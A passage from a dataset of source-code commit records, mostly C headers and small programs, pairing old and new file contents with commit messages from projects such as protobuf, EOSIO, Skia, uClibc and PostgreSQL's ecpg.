Directory<std::string, ISubscriptionCallback> AttributeSubscriptionDirectory;\n\n} \/\/ namespace joynr\n#endif \/\/ LIBJOYNRDIRECTORIES_H\n","new_contents":"\/*\n * #%L\n * %%\n * Copyright (C) 2011 - 2013 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n#ifndef LIBJOYNRDIRECTORIES_H\n#define LIBJOYNRDIRECTORIES_H\n\n#include \"joynr\/RequestCaller.h\"\n#include \"joynr\/IReplyCaller.h\"\n#include \"joynr\/Directory.h\"\n#include \"joynr\/ISubscriptionCallback.h\"\n#include <string>\n\nnamespace joynr\n{\n\ntypedef Directory<std::string, RequestCaller> RequestCallerDirectory;\ntypedef Directory<std::string, IReplyCaller> ReplyCallerDirectory;\n\n} \/\/ namespace joynr\n#endif \/\/ LIBJOYNRDIRECTORIES_H\n","subject":"Remove unused alias for Directory (AttributeSubscriptionDirectory)","message":"[C++] Remove unused alias for Directory (AttributeSubscriptionDirectory)\n\nChange-Id: I3345bf2e269c0e34f0c4c026b1ada457fbdd734c\n","lang":"C","license":"apache-2.0","repos":"bmwcarit\/joynr,clive-jevons\/joynr,bmwcarit\/joynr,clive-jevons\/joynr,bmwcarit\/joynr,clive-jevons\/joynr,bmwcarit\/joynr,clive-jevons\/joynr,clive-jevons\/joynr,clive-jevons\/joynr,bmwcarit\/joynr,bmwcarit\/joynr,bmwcarit\/joynr,bmwcarit\/joynr,bmwcarit\/joynr"}
{"commit":"e9977231c2ea243d7db1c064c57d52669fb3acec","old_file":"src\/google\/protobuf\/stubs\/atomicops_internals_pnacl.h","new_file":"src\/google\/protobuf\/stubs\/atomicops_internals_pnacl.h","old_contents":"","new_contents":"\/\/ Protocol Buffers - Google's data interchange format\n\/\/ Copyright 2012 Google Inc.  All rights reserved.\n\/\/ http:\/\/code.google.com\/p\/protobuf\/\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/     * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/     * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ This file is an internal atomic implementation, use atomicops.h instead.\n\n#ifndef GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n#define GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n\nnamespace google {\nnamespace protobuf {\nnamespace internal {\n\ninline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr,\n                                         Atomic32 old_value,\n                                         Atomic32 new_value) {\n  return __sync_val_compare_and_swap(ptr, old_value, new_value);\n}\n\ninline void MemoryBarrier() {\n  __sync_synchronize();\n}\n\ninline Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr,\n                                       Atomic32 old_value,\n                                       Atomic32 new_value) {\n  Atomic32 ret = NoBarrier_CompareAndSwap(ptr, old_value, new_value);\n  MemoryBarrier();\n  return ret;\n}\n\ninline void Release_Store(volatile Atomic32* ptr, Atomic32 value) {\n  MemoryBarrier();\n  *ptr = value;\n}\n\ninline Atomic32 Acquire_Load(volatile const Atomic32* ptr) {\n  Atomic32 value = *ptr;\n  MemoryBarrier();\n  return value;\n}\n\n}  \/\/ namespace internal\n}  \/\/ namespace protobuf\n}  \/\/ namespace google\n\n#endif  \/\/ GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n","subject":"Add the missing PNaCl atomicops support.","message":"Add the missing PNaCl atomicops support.\n\n\ngit-svn-id: 6df6fa3ddd728f578ea1442598151d5900a6ed44@462 630680e5-0e50-0410-840e-4b1c322b438d\n","lang":"C","license":"bsd-3-clause","repos":"kastnerkyle\/protobuf-py3,da2ce7\/protobuf,mpapierski\/protobuf,kastnerkyle\/protobuf-py3,kastnerkyle\/protobuf-py3,mpapierski\/protobuf,da2ce7\/protobuf,patrickhartling\/protobuf,GreatFruitOmsk\/protobuf-py3,svn2github\/google-protobuf,svn2github\/protobuf-mirror,lcy03406\/protobuf,GreatFruitOmsk\/protobuf-py3,beyang\/protobuf,svn2github\/protobuf-mirror,mkrautz\/external-protobuf,lcy03406\/protobuf,patrickhartling\/protobuf,beyang\/protobuf,lcy03406\/protobuf,lcy03406\/protobuf,Distrotech\/protobuf,mkrautz\/external-protobuf,GreatFruitOmsk\/protobuf-py3,da2ce7\/protobuf,beyang\/protobuf,patrickhartling\/protobuf,svn2github\/protobuf-mirror,Distrotech\/protobuf,da2ce7\/protobuf,svn2github\/google-protobuf,svn2github\/protobuf-mirror,mpapierski\/protobuf,Distrotech\/protobuf,svn2github\/protobuf-mirror,patrickhartling\/protobuf,mpapierski\/protobuf,svn2github\/google-protobuf,mkrautz\/external-protobuf,kastnerkyle\/protobuf-py3,patrickhartling\/protobuf,svn2github\/google-protobuf,da2ce7\/protobuf,Distrotech\/protobuf,mkrautz\/external-protobuf,kastnerkyle\/protobuf-py3,lcy03406\/protobuf,mpapierski\/protobuf,beyang\/protobuf,GreatFruitOmsk\/protobuf-py3,svn2github\/google-protobuf,GreatFruitOmsk\/protobuf-py3,beyang\/protobuf,mkrautz\/external-protobuf,Distrotech\/protobuf"}
{"commit":"3ddd33207d2bcc0b728cf579519ee8e75279394b","old_file":"contracts\/eosiolib\/types.h","new_file":"contracts\/eosiolib\/types.h","old_contents":"\/**\n *  @file\n *  @copyright defined in eos\/LICENSE.txt\n *\/\n#pragma once\n\n#include <stdint.h>\n#include <wchar.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n *  @defgroup types Builtin Types\n *  @ingroup contractdev\n *  @brief Specifies typedefs and aliases\n *\n *  @{\n *\/\n\ntypedef uint64_t account_name;\ntypedef uint64_t permission_name;\ntypedef uint64_t table_name;\ntypedef uint32_t time;\ntypedef uint64_t action_name;\n\ntypedef uint16_t weight_type;\n\n\/* macro to align\/overalign a type to ensure calls to intrinsics with pointers\/references are properly aligned *\/\n#define ALIGNED(X) __attribute__ ((aligned (16))) X\n\nstruct public_key {\n   char data[34];\n};\n\nstruct signature {\n   uint8_t data[66];\n};\n\nstruct ALIGNED(checksum256) {\n   uint8_t hash[32];\n};\n\nstruct ALIGNED(checksum160) {\n   uint8_t hash[20];\n};\n\nstruct ALIGNED(checksum512) {\n   uint8_t hash[64];\n};\n\ntypedef struct checksum256 transaction_id_type;\ntypedef struct checksum256 block_id_type;\n\nstruct account_permission {\n   account_name account;\n   permission_name permission;\n};\n\n#ifdef __cplusplus\n} \/\/\/ extern \"C\"\n#endif\n\/\/\/ @}\n","new_contents":"\/**\n *  @file\n *  @copyright defined in eos\/LICENSE.txt\n *\/\n#pragma once\n\n#include <stdint.h>\n#include <wchar.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n *  @defgroup types Builtin Types\n *  @ingroup contractdev\n *  @brief Specifies typedefs and aliases\n *\n *  @{\n *\/\n\ntypedef uint64_t account_name;\ntypedef uint64_t permission_name;\ntypedef uint64_t table_name;\ntypedef uint32_t time;\ntypedef uint64_t scope_name;\ntypedef uint64_t action_name;\n\ntypedef uint16_t weight_type;\n\n\/* macro to align\/overalign a type to ensure calls to intrinsics with pointers\/references are properly aligned *\/\n#define ALIGNED(X) __attribute__ ((aligned (16))) X\n\nstruct public_key {\n   char data[34];\n};\n\nstruct signature {\n   uint8_t data[66];\n};\n\nstruct ALIGNED(checksum256) {\n   uint8_t hash[32];\n};\n\nstruct ALIGNED(checksum160) {\n   uint8_t hash[20];\n};\n\nstruct ALIGNED(checksum512) {\n   uint8_t hash[64];\n};\n\ntypedef struct checksum256 transaction_id_type;\ntypedef struct checksum256 block_id_type;\n\nstruct account_permission {\n   account_name account;\n   permission_name permission;\n};\n\n#ifdef __cplusplus\n} \/\/\/ extern \"C\"\n#endif\n\/\/\/ @}\n","subject":"Add back scope_name used by a few contracts","message":"Add back scope_name used by a few contracts\n","lang":"C","license":"mit","repos":"EOSIO\/eos,EOSIO\/eos,EOSIO\/eos,EOSIO\/eos,EOSIO\/eos"}
{"commit":"1a364fcb6b59497cb59dcd9fbad00e9569187690","old_file":"killpgrp.c","new_file":"killpgrp.c","old_contents":"","new_contents":"\/*\n * $Id$\n *\n * Kills all processes belonging to the supplied process group id.\n *\n * In the normal case, this allows you to kill a process and any of its\n * children.\n *\/\n\n#include <sys\/types.h>\n#include <signal.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nvoid usage()\n{\n    fprintf(stderr, \"Usage: killpgrp <pgid>\\n\");\n}\n\nint main(int argc, char **argv)\n{\n    int pgid;\n\n    if (argc < 2) {\n        usage();\n        exit(2);\n    }\n\n    pgid = atoi(argv[1]);\n    pgid = -pgid;\n    kill(pgid, SIGTERM);\n\n    exit(0);\n}\n","subject":"Add a simple program to kill all processes in a process group.","message":"Add a simple program to kill all processes in a process group.\n\n","lang":"C","license":"apache-2.0","repos":"mikelward\/scripts,mikelward\/scripts,mikelward\/scripts"}
{"commit":"13962476ada094ecc1dd1e272d46237e40fb8448","old_file":"example\/new_http_client.c","new_file":"example\/new_http_client.c","old_contents":"","new_contents":"\/*\n *  TCP connection sample program\n *   explaining the way to use planetfs\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n\nvoid die(const char *prefix)\n{\n    perror(prefix);\n    exit(EXIT_FAILURE);\n}\n\nint main(int argc, char **argv)\n{\n    int clone_fd, data_fd, size;\n    char data_file[256], buffer[1024];\n    const char *clone_file   = \"\/net\/tcp\/clone\",\n               *ctl_request  = \"connect 74.125.235.240!80\",\n               *http_request = \"GET \/index.html HTTP\/1.1\\r\\n\"\n                               \"Host: www.google.co.jp\\r\\n\"\n                               \"Connection: close\\r\\n\\r\\n\";\n    clone_fd = open(clone_file, O_RDWR);\n    if (clone_fd < 0)\n        die(\"clone: open\");\n    if (read(clone_fd, buffer, sizeof (buffer)) < 0)\n        die(\"clone: read\");\n    if (write(clone_fd, ctl_request, strlen(ctl_request)) < 0)\n        die(\"clone: write\");\n\n    snprintf(data_file, sizeof (data_file), \"\/net\/tcp\/%s\/data\", buffer);\n    data_fd = open(data_file, O_RDWR);\n    if (data_fd < 0)\n        die(\"data: open\");\n\n    \/* Send a HTTP request *\/\n    if (write(data_fd, http_request, strlen(http_request)) < 0)\n        die(\"data: write\");\n\n    \/* Receive the response of the remote host *\/\n    do {\n        size = read(data_fd, buffer, sizeof (buffer));\n        if (size < 0)\n            die(\"data: read\");\n        \/* Display the response of the server *\/\n        write(STDOUT_FILENO, buffer, size);\n    } while (size != 0);\n\n    close(data_fd);\n    close(clone_fd);\n    return EXIT_SUCCESS;\n}\n","subject":"Add a new http client example based on the new style","message":"Add a new http client example based on the new style\n","lang":"C","license":"bsd-2-clause","repos":"pfpacket\/fuse_planetfs,pfpacket\/fuse_planetfs,pfpacket\/fuse_planetfs,pfpacket\/fuse_planetfs"}
{"commit":"c2988f448975fa3e9af6ef4f33d725088ebfe568","old_file":"include\/commons\/ByteCode.h","new_file":"include\/commons\/ByteCode.h","old_contents":"#ifndef BYTECODE_H\n#define BYTECODE_H\n\n#include <iostream>\n#include <iomanip>\n\nusing namespace std;\n\nenum ByteCode {\n\tPUSH = 0,\n\tPRINT = 1,\n\tEND = 2\n};\n\nvoid writeOneOperandCall(ofstream* outStream, ByteCode bytecode, string litteral);\nvoid writeSimpleCall(ofstream* outStream, ByteCode bytecode);\nvoid writeEnd(ofstream* stream);\n\nByteCode readByteCode(ifstream* stream);\n\ntemplate<typename T>\nstd::ostream& binary_write(std::ostream* stream, const T& value){\n\treturn stream->write(reinterpret_cast<const char*>(&value), sizeof(T));\n}\n\ntemplate<typename T>\nstd::istream & binary_read(std::istream* stream, T& value)\n{\n    return stream->read(reinterpret_cast<char*>(&value), sizeof(T));\n}\n\nstd::ostream& binary_write_string(std::ostream* stream, string value);\n\nstd::string binary_read_string(std::istream* stream);\n\n#endif\n","new_contents":"#ifndef BYTECODE_H\n#define BYTECODE_H\n\n#include <iostream>\n#include <iomanip>\n\nusing namespace std;\n\nenum ByteCode {\n\tPUSH = 0,\n\tPRINT = 1,\n\tEND = 2\n};\n\n\/* Write operations *\/\n\nvoid writeOneOperandCall(ofstream* outStream, ByteCode bytecode, string litteral);\nvoid writeSimpleCall(ofstream* outStream, ByteCode bytecode);\nvoid writeEnd(ofstream* stream);\nvoid writeLitteral(ofstream* stream, string value);\n\n\/* Read operations *\/\n\nByteCode readByteCode(ifstream* stream);\nchar readConstantType(ifstream* stream);\nstring readLitteral(ifstream* stream);\n\n#endif\n","subject":"Use the new designed library","message":"Use the new designed library\n","lang":"C","license":"mit","repos":"wichtounet\/eddic,vogelsgesang\/eddic,wichtounet\/eddic,vogelsgesang\/eddic,vogelsgesang\/eddic,wichtounet\/eddic"}
{"commit":"431473234f6b74f0993986af825785460b9e39e4","old_file":"include\/netpacket\/packet.h","new_file":"include\/netpacket\/packet.h","old_contents":"","new_contents":"\/* Definitions for use with Linux AF_PACKET sockets.\n   Copyright (C) 1998, 1999 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, write to the Free\n   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n   02111-1307 USA.  *\/\n\n#ifndef __NETPACKET_PACKET_H\n#define __NETPACKET_PACKET_H\t1\n\nstruct sockaddr_ll\n  {\n    unsigned short int sll_family;\n    unsigned short int sll_protocol;\n    int sll_ifindex;\n    unsigned short int sll_hatype;\n    unsigned char sll_pkttype;\n    unsigned char sll_halen;\n    unsigned char sll_addr[8];\n  };\n\n\/* Packet types.  *\/\n\n#define PACKET_HOST\t\t0\t\t\/* To us.  *\/\n#define PACKET_BROADCAST\t1\t\t\/* To all.  *\/\n#define PACKET_MULTICAST\t2\t\t\/* To group.  *\/\n#define PACKET_OTHERHOST\t3\t\t\/* To someone else.  *\/\n#define PACKET_OUTGOING\t\t4\t\t\/* Originated by us . *\/\n#define PACKET_LOOPBACK\t\t5\n#define PACKET_FASTROUTE\t6\n\n\/* Packet socket options.  *\/\n\n#define PACKET_ADD_MEMBERSHIP\t\t1\n#define PACKET_DROP_MEMBERSHIP\t\t2\n#define\tPACKET_RECV_OUTPUT\t\t3\n#define\tPACKET_RX_RING\t\t\t5\n#define\tPACKET_STATISTICS\t\t6\n\nstruct packet_mreq\n  {\n    int mr_ifindex;\n    unsigned short int mr_type;\n    unsigned short int mr_alen;\n    unsigned char mr_address[8];\n  };\n\n#define PACKET_MR_MULTICAST\t0\n#define PACKET_MR_PROMISC\t1\n#define PACKET_MR_ALLMULTI\t2\n\n#endif\t\/* netpacket\/packet.h *\/\n","subject":"Make pump happy. Add in this header. -Erik","message":"Make pump happy.  Add in this header.\n -Erik\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"2328de89d07a4040d9dc53f9ee75d7794498f204","old_file":"Apptentive\/Apptentive\/Misc\/ApptentiveSafeCollections.h","new_file":"Apptentive\/Apptentive\/Misc\/ApptentiveSafeCollections.h","old_contents":"\/\/\n\/\/  ApptentiveSafeCollections.h\n\/\/  Apptentive\n\/\/\n\/\/  Created by Alex Lementuev on 3\/20\/17.\n\/\/  Copyright © 2017 Apptentive, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n Returns non-nil value or NSNull\n *\/\nid ApptentiveCollectionValue(id value);\n\n\/**\n Safely adds key and value into the dictionary\n *\/\nvoid ApptentiveDictionarySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value);\n\n\/**\n Tries to add nullable value into the dictionary\n *\/\nBOOL ApptentiveDictionaryTrySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value);\n\n\/**\n Safely retrieves string from a dictionary (or returns nil if failed)\n *\/\nNSString *ApptentiveDictionaryGetString(NSDictionary *dictionary, id<NSCopying> key);\n\n\/**\n Safely retrieves array from a dictionary (or returns nil if failed)\n *\/\nNSArray *ApptentiveDictionaryGetArray(NSDictionary *dictionary, id<NSCopying> key);\n\n\/**\n Safely adds an object to the array.\n *\/\nvoid ApptentiveArrayAddObject(NSMutableArray *array, id object);\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  ApptentiveSafeCollections.h\n\/\/  Apptentive\n\/\/\n\/\/  Created by Alex Lementuev on 3\/20\/17.\n\/\/  Copyright © 2017 Apptentive, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n Returns non-nil value or NSNull\n *\/\nid ApptentiveCollectionValue(id value);\n\n\/**\n Safely adds key and value into the dictionary\n *\/\nvoid ApptentiveDictionarySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value);\n\n\/**\n Tries to add nullable value into the dictionary\n *\/\nBOOL ApptentiveDictionaryTrySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value);\n\n\/**\n Safely retrieves string from a dictionary (or returns nil if failed)\n *\/\nNSString * _Nullable ApptentiveDictionaryGetString (NSDictionary *dictionary, id<NSCopying> key);\n\n\/**\n Safely retrieves array from a dictionary (or returns nil if failed)\n *\/\nNSArray * _Nullable ApptentiveDictionaryGetArray(NSDictionary *dictionary, id<NSCopying> key);\n\n\/**\n Safely adds an object to the array.\n *\/\nvoid ApptentiveArrayAddObject(NSMutableArray *array, id object);\n\nNS_ASSUME_NONNULL_END\n","subject":"Add nullable flag to ApptentiveDictionaryGetArray and -String","message":"Add nullable flag to ApptentiveDictionaryGetArray and -String\n","lang":"C","license":"bsd-3-clause","repos":"apptentive\/apptentive-ios,apptentive\/apptentive-ios,apptentive\/apptentive-ios"}
{"commit":"ea0d4f7ad7fdc0852e4874d1dec25837ad6ff50b","old_file":"samplecode\/GMSampleView.h","new_file":"samplecode\/GMSampleView.h","old_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef GMSampleView_DEFINED\n#define GMSampleView_DEFINED\n\n#include \"SampleCode.h\"\n#include \"gm.h\"\n\nclass GMSampleView : public SampleView {\nprivate:\n    typedef skiagm::GM GM;\n\npublic:\n    GMSampleView(GM* gm)\n    : fGM(gm) {}\n    \n    virtual ~GMSampleView() {\n        delete fGM;\n    }\n    \nprotected:\n    virtual bool onQuery(SkEvent* evt) {\n        if (SampleCode::TitleQ(*evt)) {\n            SkString name(\"GM \");\n            name.append(fGM->shortName());\n            SampleCode::TitleR(evt, name.c_str());\n            return true;\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n    \n    virtual void onDrawContent(SkCanvas* canvas) {\n        fGM->drawContent(canvas);\n    }\n\n    virtual void onDrawBackground(SkCanvas* canvas) {\n        fGM->drawBackground(canvas);\n    }\n\nprivate:\n    GM* fGM;\n    typedef SampleView INHERITED;\n};\n\n#endif\n","new_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef GMSampleView_DEFINED\n#define GMSampleView_DEFINED\n\n#include \"SampleCode.h\"\n#include \"gm.h\"\n\nclass GMSampleView : public SampleView {\nprivate:\n    typedef skiagm::GM GM;\n\npublic:\n    GMSampleView(GM* gm)\n    : fGM(gm) {}\n    \n    virtual ~GMSampleView() {\n        delete fGM;\n    }\n    \nprotected:\n    virtual bool onQuery(SkEvent* evt) {\n        if (SampleCode::TitleQ(*evt)) {\n            SkString name(\"GM:\");\n            name.append(fGM->shortName());\n            SampleCode::TitleR(evt, name.c_str());\n            return true;\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n    \n    virtual void onDrawContent(SkCanvas* canvas) {\n        fGM->drawContent(canvas);\n    }\n\n    virtual void onDrawBackground(SkCanvas* canvas) {\n        fGM->drawBackground(canvas);\n    }\n\nprivate:\n    GM* fGM;\n    typedef SampleView INHERITED;\n};\n\n#endif\n","subject":"Use : as separator between \"GM\" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.","message":"Use : as separator between \"GM\" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@2846 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"Hankuo\/color-emoji.skia,MatChung\/color-emoji.skia,Frankie-666\/color-emoji.skia,hbwhlklive\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Hankuo\/color-emoji.skia,hbwhlklive\/color-emoji.skia,hbwhlklive\/color-emoji.skia,MatChung\/color-emoji.skia,Hankuo\/color-emoji.skia,Hankuo\/color-emoji.skia,Frankie-666\/color-emoji.skia,Frankie-666\/color-emoji.skia,MatChung\/color-emoji.skia,Hankuo\/color-emoji.skia,MatChung\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Hankuo\/color-emoji.skia,hbwhlklive\/color-emoji.skia,MatChung\/color-emoji.skia,Frankie-666\/color-emoji.skia,MatChung\/color-emoji.skia,Frankie-666\/color-emoji.skia,Frankie-666\/color-emoji.skia"}
{"commit":"f9a134b6e4a6c8fc94e377a8f3af1761645a4569","old_file":"src\/interfaces\/ecpg\/include\/pgtypes_timestamp.h","new_file":"src\/interfaces\/ecpg\/include\/pgtypes_timestamp.h","old_contents":"#ifndef PGTYPES_TIMESTAMP\n#define PGTYPES_TIMESTAMP\n\n#include <pgtypes_interval.h>\n\n#ifdef HAVE_INT64_TIMESTAMP\ntypedef int64 timestamp;\ntypedef int64 TimestampTz;\n\n#else\ntypedef double timestamp;\ntypedef double TimestampTz;\n#endif\n\n#ifdef __cplusplus\nextern\t\t\"C\"\n{\n#endif\n\nextern timestamp PGTYPEStimestamp_from_asc(char *, char **);\nextern char *PGTYPEStimestamp_to_asc(timestamp);\nextern int\tPGTYPEStimestamp_sub(timestamp *, timestamp *, interval *);\nextern int\tPGTYPEStimestamp_fmt_asc(timestamp *, char *, int, char *);\nextern void PGTYPEStimestamp_current(timestamp *);\nextern int\tPGTYPEStimestamp_defmt_asc(char *, char *, timestamp *);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif   \/* PGTYPES_TIMESTAMP *\/\n","new_contents":"#ifndef PGTYPES_TIMESTAMP\n#define PGTYPES_TIMESTAMP\n\n#include <pgtypes_interval.h>\n\n#ifdef HAVE_INT64_TIMESTAMP\ntypedef int64 timestamp;\ntypedef int64 TimestampTz;\n\n#else\ntypedef double timestamp;\ntypedef double TimestampTz;\n#endif\n\n#ifdef __cplusplus\nextern\t\t\"C\"\n{\n#endif\n\nextern timestamp PGTYPEStimestamp_from_asc(char *, char **);\nextern char *PGTYPEStimestamp_to_asc(timestamp);\nextern int\tPGTYPEStimestamp_sub(timestamp *, timestamp *, interval *);\nextern int\tPGTYPEStimestamp_fmt_asc(timestamp *, char *, int, char *);\nextern void PGTYPEStimestamp_current(timestamp *);\nextern int\tPGTYPEStimestamp_defmt_asc(char *, char *, timestamp *);\nextern int  PGTYPEStimestamp_add_interval(timestamp *tin, interval *span, timestamp *tout);\nextern int  PGTYPEStimestamp_sub_interval(timestamp *tin, interval *span, timestamp *tout);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif   \/* PGTYPES_TIMESTAMP *\/\n","subject":"Add missing ecpg prototype for newly added functions.","message":"Add missing ecpg prototype for newly added functions.\n","lang":"C","license":"apache-2.0","repos":"kaknikhil\/gpdb,Chibin\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,rubikloud\/gpdb,lisakowen\/gpdb,kaknikhil\/gpdb,adam8157\/gpdb,arcivanov\/postgres-xl,randomtask1155\/gpdb,janebeckman\/gpdb,foyzur\/gpdb,rubikloud\/gpdb,jmcatamney\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,xuegang\/gpdb,ashwinstar\/gpdb,Quikling\/gpdb,pavanvd\/postgres-xl,rvs\/gpdb,lintzc\/gpdb,postmind-net\/postgres-xl,atris\/gpdb,cjcjameson\/gpdb,Quikling\/gpdb,jmcatamney\/gpdb,greenplum-db\/gpdb,zeroae\/postgres-xl,janebeckman\/gpdb,lpetrov-pivotal\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,adam8157\/gpdb,janebeckman\/gpdb,royc1\/gpdb,randomtask1155\/gpdb,Quikling\/gpdb,snaga\/postgres-xl,atris\/gpdb,rubikloud\/gpdb,0x0FFF\/gpdb,rubikloud\/gpdb,snaga\/postgres-xl,CraigHarris\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,xuegang\/gpdb,oberstet\/postgres-xl,0x0FFF\/gpdb,Chibin\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,ovr\/postgres-xl,kaknikhil\/gpdb,royc1\/gpdb,cjcjameson\/gpdb,kaknikhil\/gpdb,tpostgres-projects\/tPostgres,chrishajas\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,edespino\/gpdb,chrishajas\/gpdb,randomtask1155\/gpdb,royc1\/gpdb,lpetrov-pivotal\/gpdb,edespino\/gpdb,techdragon\/Postgres-XL,xuegang\/gpdb,zaksoup\/gpdb,0x0FFF\/gpdb,ahachete\/gpdb,Quikling\/gpdb,rvs\/gpdb,techdragon\/Postgres-XL,kmjungersen\/PostgresXL,xuegang\/gpdb,tangp3\/gpdb,kmjungersen\/PostgresXL,rvs\/gpdb,lisakowen\/gpdb,arcivanov\/postgres-xl,yazun\/postgres-xl,foyzur\/gpdb,zeroae\/postgres-xl,xinzweb\/gpdb,xinzweb\/gpdb,CraigHarris\/gpdb,xuegang\/gpdb,snaga\/postgres-xl,randomtask1155\/gpdb,CraigHarris\/gpdb,rvs\/gpdb,Chibin\/gpdb,0x0FFF\/gpdb,oberstet\/postgres-xl,pavanvd\/postgres-xl,Postgres-XL\/Postgres-XL,tpostgres-projects\/tPostgres,zeroae\/postgres-xl,kaknikhil\/gpdb,kaknikhil\/gpdb,jmcatamney\/gpdb,lisakowen\/gpdb,tangp3\/gpdb,zeroae\/postgres-xl,chrishajas\/gpdb,cjcjameson\/gpdb,cjcjameson\/gpdb,lpetrov-pivotal\/gpdb,ahachete\/gpdb,lisakowen\/gpdb,pavanvd\/postgres-xl,CraigHarris\/gpdb,greenplum-db\/gpdb,rubikloud\/gpdb,edespino\/gpdb,Chibin\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,Chibin\/gpdb,xuegang\/gpdb,tpostgres-projects\/tPostgres,rvs\/gpdb,oberstet\/postgres-xl,ovr\/postgres-xl,foyzur\/gpdb,greenplum-db\/gpdb,xuegang\/gpdb,0x0FFF\/gpdb,xuegang\/gpdb,50wu\/gpdb,janebeckman\/gpdb,adam8157\/gpdb,lintzc\/gpdb,zaksoup\/gpdb,rubikloud\/gpdb,xinzweb\/gpdb,edespino\/gpdb,adam8157\/gpdb,atris\/gpdb,CraigHarris\/gpdb,ahachete\/gpdb,edespino\/gpdb,chrishajas\/gpdb,greenplum-db\/gpdb,CraigHarris\/gpdb,ashwinstar\/gpdb,arcivanov\/postgres-xl,kmjungersen\/PostgresXL,50wu\/gpdb,edespino\/gpdb,foyzur\/gpdb,atris\/gpdb,j